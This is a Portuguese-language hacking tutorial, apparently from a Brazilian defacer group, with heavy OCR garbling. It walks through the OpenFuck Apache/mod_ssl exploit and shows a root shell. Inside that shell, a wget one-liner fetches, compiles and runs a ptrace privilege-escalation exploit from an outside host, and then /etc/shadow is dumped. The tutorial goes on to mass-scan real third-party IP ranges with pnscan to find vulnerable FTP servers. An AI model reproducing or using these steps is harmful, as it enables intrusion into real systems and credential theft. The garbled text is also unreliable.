nux 4.0 (apache-1.3.6)
nux 7.0 (apache-1.3.9)
nux 7.0 (apache-1. 3. 26)
(apache-1. 3. 26) 2

7.1 (apache-1.3.12)
8.0 (apache-1. 3. 20)
8.1 (apache-1. 3. 24)
8.1 (apache-1. 3. 26)
8. 1-stabl e (apache- 1. 3. 26)
(apache-1. 3. 27)

.0

nux
nux
nux
nux
nux
nux

SOOOWNEFRO

i nu

(apache-1
(apache-1
(apache-1
(apache-1
(apache-1
(apache-1
(apache-1

x/ PPC 2.3

guys who |ike use |anah

4b: ~#

3

3

12)

3.17)
3. 19)
3.
3
3

20)

. 23)
. 23-120)

23-137)

.1-Update (1.3.22-5.7.1)
.1 (apache-1. 3. 22-src)
.1-Update (1.3.27-1.7.1)
.2 (apache-1.3.20-16)1
.2 (apache-1. 3.20-16)2
. 2-Updat e (apache-1. 3. 22-6)
.2 (apache-1. 3. 24)

.2 (apache-1. 3. 26)

.2 (apache-1. 3. 26-snc)
.2 (apache-1.3.26 w PHP) 1

.2 (apache-1.3.26 w PHP) 2

. 2-Update (apache-1.3.27-1.7.2)
.3 (apache-1.3.23-11)1
.3 (apache-1.3.23-11)2
.3 (apache-1. 3. 27)

.0 (apache-1. 3. 27)

. 0-second (apache-1. 3. 27)
.0 (apache-2.0. 40)

(épache-l.3.22-6.2.3a)

ddos.

Read SRC to have no surprise

/

/1

/1

/1

Podenps observar que existem diversas vergoes que o exploit consegue explorar, alguns bem

desat ual i zados,

porem hoje emdia

com um bom scan em fai xas de i p consegui nbs di versos servidores vul neravei s

Vanos rel enbrar qua

443/ tcp open

SSL/ 0. 9. 6b)

vej anbs no

expl oi t

a versado de nosso apache

ssl/http Apache httpd 1.3.20 ((Unix) (***Red-Hat/Linux) nod_ssl/2.8.4 Open



Que tal tentarnos

/] /] /1
root@hﬂglcl4b ~# ./xpl | grep 1.3.20
0x02 Cobalt Sun 6.0 (apache-1. 3. 20)
0x27 - FreeBSD (apache-1. 3. 20)
0x28 - FreeBSD (apache- 1. 3. 20)
0x29 - FreeBSD (apache-1.3.20+2. 8. 4)
Ox2a - FreeBSD (apache-1.3.20_1)
0x3a - Mandrake Linux 7.2 (apache-1.3.20-5. 1ndk)
0x3b - Mandrake Linux 7.2 (apache-1.3.20-5. 2ndk)
0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)
Ox6a - RedHat Linux 7.2 (apache-1.3.20-16)1
Ox6b - RedHat Linux 7.2 (apache-1.3.20-16)2 <----- Apache com nosso redhat
Ox7e - Slackware Linux 8.0 (apache-1.3.20)
0x86 SuSE Linux 7.3 (apache-1. 3. 20)
root@hﬂglcl4b ~#
/] /] /1

ao exploit:

/1 /1 /1
SHOW TI ME

root @4gi cl 4b: ~# ./ xpl O0x6b 127.0.0.1 443

R R R S O S S S O S S

* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl -too-open *
EREE R EREEEEEEEEEEREEREEEEEEREEREEEEEEEEEEEREE S SRS R EEEEEEEEEEEEEEEEEEEEEEES
* by SPABAM with code of Spabam - LSD pl - Sol arEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xant hi c USG #Si | ver Lords #Bl oodBR #i sot k #hi ghsecure #unane *
* #1 ON #delirium#nitrOx #coder #root #endi abradOs #NHC #TechTeam *
* #pi nchadoresweb Hi TechHate Digital Wapperz P()WGAT ButtPlrateZ *
*

EE R S R O S S S R S S R S

Est abl i shing SSL connection

ci pher: 0x4043808c ci phers: 0x80ffe70
Ready to send shel |l code

Spawni ng shel | . ..

bash: no job control in this shel

bash- 2. 05%

; abilities/exploits/ptrace-knod.c;gcc ptrace-knod.c -0 p; rmptrace-knod.c; ./p

--20:35:05-- http://downl oads. securityfocus. confvul nerabilities/exploits/ptrace-knod.c
=> “ptrace-knod. c. 1'

Connecting to downl oads. securityfocus.com 80... connected

HTTP request sent, awaiting response... 200 K
Length: 3,738 [text/plain]

OK ... 100% @ 228. 15 KB/'s
20: 35: 06 (228.15 KB/s) - “ptrace-knod.c' saved [3738/3738]

[+] Attached to 6062

[+] Waiting for signa

[+] Signal caught

[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell..

id

uid

O(root) gid=0(root) groups=0(root), 1(bin), 2(daenon), 3(sys), 4(adm, 6(di sk), 10(wheel)
!/ /1 [/

E feliznmente Consegui nos uma shel |l root

#id

ui d=0(root) gid=0(root) groups=0(root), 1(bin),2(daenon), 3(sys), 4(adm, 6(di sk), 10(wheel)
# cat /etc/shadow

r oot : $1$XROcf DX$t FO3GgnLHQIeGRHpaNy| s0: 14513: 0: 99999: 7: :

john: $1$zL4. MR4t $26NAYpTGceBOOgTX6TAKy1: 14513: 0: 99999: 7: : :

har ol d: $1$Xx6dZd0d$! MOGACI 3r 757dv17LZ9010: 14513: 0: 99999: 7: : :

/1 /1 /1




Miito bom, enuneranmps, procuranps outros sites mais nada que nos deu acesso, depois disso
ni kto tbm ndo nos deu resul tado, porem com

nmap e juncado de umrenote exploit consegui s uma shell no servidor apartir de um servico
desat ual i zado o apache em jun¢do com o openss

,Ienb{ando gue para consertanps o exploit adci onanps al guns headers e nudanps o endereco d

o exploit.

de cara ndo é achar e arrumar o exploit, porem nogcdes de programacdo e linux senpre ira te
aj udar no pentest.

/] /] [/

Agora se tratando de outro assunto irei abordar um pouco sobre um outro scanner o
- Pnscan
Pnscan [pnsc] is a multi-threaded port scanner with an extra capability to send and | ook f
or specific strings.
It does not have all features that nmap has but on the other hand it is faster
You can specify the hosts to scan using both CIDR and host ranges.
(www. opal . dhs. or g/ docs/ r enot e- anal ysi s/ wor k/ x597. ht m )
Traduzi ndo
O pnscan é um scanner de porta nulti-threaded que tem a capaci dade extra de ol har por str
ngs especificas,
Nao possui as nesmas caracteristicas do nmap nas nas nhos certas ele é rapido

Voce pode especificar os hosts a serem escaneados usando Cl DR ou ranges de hosts
exenpl o by ne:

192.168.0. 0/ 24 CI DR

ou

192.168. 0. 0: 192. 168. 255. 255

Ambos com mesma efi caci a.

Agora me perguntam para que vou usar um scanner tao |indo e poderoso conp o pnscan? (
i magi ne vogce com um expl oit em néos que explora X vul nerabilidade seja emproftpd, exim a
pache, OpenSSH

E vogce ndo sabe onde procurar estes al vos

pois no google muitos esté&o |imtados

Ent 40 se qui sernpbs buscar dezenas? centenas? nilhares de alvos de uma sé vez?

Vem o pnscan e nos salva (:

Vanos conpilar a crianga:

Caso queira BA I nho
sudo apt-get install pnscan

LET's GO

/] /] /1
root @mgi cl 4b: ~/ s3cr3t# wget ftp://ftp.lysator.!liu.se/pub/unix/pnscan/pnscan-1.11.tar.gz
--2012-03-27 21:50:07-- ftp://ftp.lysator.liu.sel/pub/unix/pnscan/pnscan-1.11.tar.gz
=> “pnscan-1.11.tar.gz
Resolving ftp.lysator.liu.se... 130.236.254.50, 2001:6b0: 17: f0a0: : 32
Connecting to ftp.lysator.!liu.se|130.236.254.50|:21... connected

Logging in as anonynous ... Logged in

==> SYST ... done. ==> PWD ... done

==> TYPE | ... done. ==> CWD (1) /pub/unix/pnscan ... done
==> S| ZE pnscan-1.11.tar.gz ... 14291

==> PASV ... done. ==> RETR pnscan-1.11l.tar.gz ... done
Length: 14291 (14K) (unauthoritative)

100%

>] 14, 291 21.0K/'s in 0.7s
2012-03-27 21:50:13 (21.0 KB/s) - “pnscan-1.11.tar.gz' saved [14291]

r oot @mgi cl 4b: ~/ s3cr 3t #

root @mgi cl 4b: ~/ s3cr3t# |s -I

total 16

-rwr--r-- 1 root root 14291 2012-03-27 21:50 pnscan-1.11l.tar.gz
root @Wgi cl 4b: ~/ s3cr3t# tar zxf pnscan-1.11.tar.gz



root @ugi cl 4b: ~/ s3cr3t# |s

pnscan-1.11 pnscan-1.11.tar.gz

root @4gi cl 4b: ~/ s3cr3t# cd pnscan-1.11

root @Wgi cl 4b: ~/ s3cr3t/pnscan-1. 11# |s

bmc bmh ChangeLog install-sh ipsort ipsort.l ipsort.sgm LICENSE Makefile pnsca
n.1 pnscan.c pnscan.sgnl README TODO version.c

root @4gi cl 4b: ~/ s3cr 3t/ pnscan- 1. 11# nake

Use "nmake SYSTEM' where SYSTEM may be:

I nx (Linux with GCC)
gso (Solaris with GCC v3)
sol (Solaris with Forte C

make: *** [default] Error 1
root @Wgi cl 4b: ~/ s3cr 3t/ pnscan- 1. 11# make | nx
make[ 1]: Entering directory “/root/s3cr3t/pnscan-1.11'

gcc -Wall -g -0 -C -0 pnscan.o pnscan.c

gcc -wall -g -0 -C -0 bmo bmc

gcc -wWall -g -0 -C -0 version.o version.c

gcc -Vall -g -O-W,-s -0 pnscan pnscan.o bmo version.o -|lpthread -Insl

make[ 1]: Leaving directory "/root/s3cr3t/pnscan-1.11'
root @ugi cl 4b: ~/ s3cr3t/pnscan-1. 11# |s

bmc bmo install-sh ipsort.1 LI CENSE  pnscan pnscan.c pnscan.sgn  TODO
version. o
bm h ChangelLog i psort i psort.sgm  Makefile pnscan.1 pnscan.o READVE ver si
on.c
root @4gi cl 4b: ~/ s3cr 3t/ pnscan- 1. 11#
/1 /1 /1

Conpi | ambs nossa ferramenta de trabal ho, vej anbps os paranetros:

/1 /1 /1
root @Wgi cl 4b: ~/ s3cr 3t/ pnscan-1. 11# ./pnscan -h
Usage: ./pnscan [<options>] [{<Cl DR>| <host-range> <port-range>} | <service>]

This programinplenments a nmultithreaded TCP port scanner.
More I nformation may be found at:
http://ww.|ysator.liu.sel/~pen/pnscan

Comrand |ine options:

-h Display this information.

-V Print version.

-V Be verbose.

-d Print debugging info.

-s Lookup and print hostnanes.

- | gnore case when scanni ng responses.
-S Enabl e shut down node.

-1 Li ne oriented output.

-w<string> Request string to send.

-\Whex |ist> Hex coded request string to send.
-r<string> Response string to | ook for.

-R<hex list> Hex coded response string to | ook for.
- L<l engt h> Max bytes to print.

-t<nmsecs> Connect/Wite/ Read ti nmeout.

- n<wor ker s> Concurrent worker threads limt.

root @wgi cl 4b: ~/ s3cr 3t/ pnscan- 1. 11#
/1 /1 /1

Lenbrando que o pn é uma ferranenta que pode ser conplexa para quem ndo interpretar bem se
us conmandos entdo atencdo na hora de passar ) ) _
paranmetros ao progranm, irei passar do jeito que procuro emdeterni nada faixa de ip's.

LEts rock:
Prineiro iremps nos basear emuna faixa de ip:

/] /] [/
root @Wgi cl 4b: ~/ s3cr 3t/ pnscan-1. 11# ping -¢ 1 ww. j 0gos10. com
PI NG j 0gos10. com (173. 193. 32. 190) 56(84) bytes of data.
64 bytes from 173.193.32.190-static.reverse.softlayer.com (173.193.32.190): icnp_seqg=1 ttl
=53 time=187 ns

--- jogosl1l0.com ping statistics ---
1 packets transmtted, 1 received, 0% packet |loss, tinme Ons



rtt mn/avg/ max/ mdev = 187.118/187.118/187.118/0. 000 ns
root @Wgi cl 4b: ~/ s3cr 3t/ pnscan- 1. 11#

/1 /1 /1

Agor a podenps buscar por al go especifico:

Egot@hngicl4b:~/53cr3t/pnscan-1.11# ./Ipnscan -t 5000 -s -d 173.193.32.190: 173. 193. 255. 255
I renps Buscar por Todos Servic¢cos rodando na porta 21

Agora vanos i ntender um pouco sobre esta range que sete

173.193. 32.190: 173. 193. 255. 255

0 scanner ira percorrer

desde o
173.193.32.190 até 173.193. 255. 255

ou seja
173.193.32.190 -> 173.193.32.191 -> 173.193.32.192 -> 173.193.32.193 -> 173.193.32. 194

até chegar no 173.193. 255. 255

El e percorre o faixa de ips nuito rapidanmente, G abando todos os banners dos servigos
o"-t"

Sdo os nuneros de Threads que irenbps usar no scanner para que nossa conexdo ndo seja derr
uEggasooo por padrao , caso queira outro numero USE

o resul tado

/1 /1 /1
root @Wgi cl 4b: ~/ s3cr 3t/ pnscan-1. 11# ./pnscan -t 5000 -s -d 173.193.32.190: 173. 193. 255. 255
21

173.193.32.190 : 173.193.32.190-static.reverse.softlayer.com: 21 : TXT : 220 Bienven

do al servidor\r\n

173.193. 34. 62 : 173.193.34.62-static.reverse.softl ayer.com: 21 : TXT : 220----------
Wl cone to Pure-FTPd [privsep] [TLS] ---------- \r\n2

173.193. 34. 63 : 173.193.34.63-static.reverse.softl ayer.com: 21 : TXT : 220----------
Wl cone to Pure-FTPd [privsep] [TLS] ---------- \r\n2

173. 193. 34. 67 : 173.193.34.67-static.reverse.softl ayer.com: 21 : TXT : 220----------
Wel cone to Pure-FTPd [privsep] [TLS] ---------- \r\n2

173.193. 34. 69 : 173.193.34.69-static.reverse.softl ayer.com: 21 : TXT : 220 ProFTPD 1
.3.3c Server ready.\r\n

173.193. 34.81 : 173.193.34.81-static.reverse.softl ayer.com: 21 : TXT : 220----------
Wel cone to Pure-FTPd [privsep] [TLS] ---------- \r\n2

173.193. 34. 82 : 173.193.34.82-static.reverse.softl ayer.com: 21 : TXT : 220----------
Wl cone to Pure-FTPd [privsep] [TLS] ---------- \r\n2

173.193. 34. 83 : 173.193.34.83-static.reverse.softl ayer.com: 21 . TXT : 220 (vsFTPd 2
.3.0)\r\n

173.193. 33. 65 : 173.193.33.65-static.reverse.softl ayer.com: 21 . TXT

173. 193. 33. 64 : 173.193.33.64-static.reverse.softl ayer.com: 21 : TXT : 220 Mcrosoft
FTP Service\r\n

173.193. 34. 33 : 173.193.34.33-static.reverse. softl ayer.com: 21 © TXT : 220----------
Wel come to Pure-FTPd [privsep] [TLS] ---------- \r\n2

173.193. 34. 38 : 173.193.34.38-static.reverse. softl ayer.com: 21 © TXT : 220----------
Wel come to Pure-FTPd [privsep] [TLS] ---------- \r\n2

173.193. 34. 37 : 173.193.34.37-static.reverse. softl ayer.com: 21 © TXT : 220----------
Wel come to Pure-FTPd [privsep] [TLS] ---------- \r\n2

173.193. 34. 35 : 173.193. 34. 35-static.reverse. softl ayer.com: 21 © TXT : 220----------
Wel come to Pure-FTPd [privsep] [TLS] ---------- \r\n2

173.193. 34. 36 : 173.193. 34. 36-static.reverse. softl ayer.com: 21 © TXT : 220----------
Wl come to Pure-FTPd [privsep] [TLS] ---------- \r\n2

e

root @Wgi cl 4b: ~/ s3cr 3t/ pnscan- 1. 11#
/] /] /]

ELe se Conecta ao servidor e captura o banner , apartir disto podenps procurar exploits et
c, Para refinar a busca usa-se "-r"

Vej anos



/] /] /]
root @Wgi cl 4b: ~/ s3cr 3t/ pnscan-1. 11# ./pnscan -t 5000 -r "ProFTP" -s -d 173.193.32.190: 173
193. 255. 255 21
173.193. 34. 69 : 173.193.34.69-static.reverse.softl ayer.com: 21 : TXT : ProFTPD 1.3.3
c Server ready.\r\n
173.193.34.111 : 173.193.34.111-static.reverse.softlayer.com: 21 : TXT : ProFTPD 1.3
3d Server (Debian) [173.193.34.111]\r\n
173.193.37.91 : 173.193.37.91-static.reverse.softl ayer.com: 21 : TXT : ProFTPD 1.3.2
e Server (ProFTPD) [173.193.37.91]\r\n
173.193.37.2 : mail.thys.combr : 21 : TXT : ProFTPD 1. 3. 3c
Server (thys.combr) [::ffff:173.193.37.2]\r\n
173.193. 37. 90 : 173.193.37.90-static.reverse.softl ayer.com: 21 : TXT : ProFTPD 1.3.2
e Server (ProFTPD) [173.193.37.90]\r\n
173.193. 37. 88 : | asoundandpi ct ure. com : 21 : TXT : ProFTPD 1. 3. 2e
Server (ProFTPD) [173.193.37.88]\r\n
173.193. 37. 89 : 173.193.37.89-static.reverse.softl ayer.com: 21 : TXT : ProFTPD 1.3.2
e Server (ProFTPD) [173.193.37.89]\r\n
e
root@hﬂgicl4b:~/s3c5?t/pnscan-l.1}? y

QU seja serdo |listados sonente os "ProFTP".

Est es Foram al guns passos , para que voge possa procurar vul nerabilidades, nais para frent
e trago outro paper com coi si nhas
mai s avancadas, I1sto é apenas 0, 81% do que devenobs aprender :D
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Al VEM A PASCOAAA NMANOLAAADA!

ENt 40 Vanpbs aos estudos, Reduza a cerveja , Traga mais mulheres e nuito nmais cédi goo
N

Escrevi esse paper hoje em al gumas horas, comendo m ojo e conversando com o choko

Abraco para todos nmanol os do under groud- br:

FL4AMB, hacki nho, black_, sOlid, chokoo, st4tus_ , Quedinha, cO0kies crew, FATAL ERROR, RED
EYE, Kantiez, Hmei 7, g4lo, Elite-hacker & conp, Guia do hacker

xchol I er THE dns nman, shadow EBR pequeno grande homem Yuri, gOtmi 1k and th3 n¥gicl4b ny |
ocal host HAHA!

twt: @4sss
mai | : n4sss[at] hotmail [dot] com

bRAZI LI ANS dEFACERS 2012

Abraco a todos.



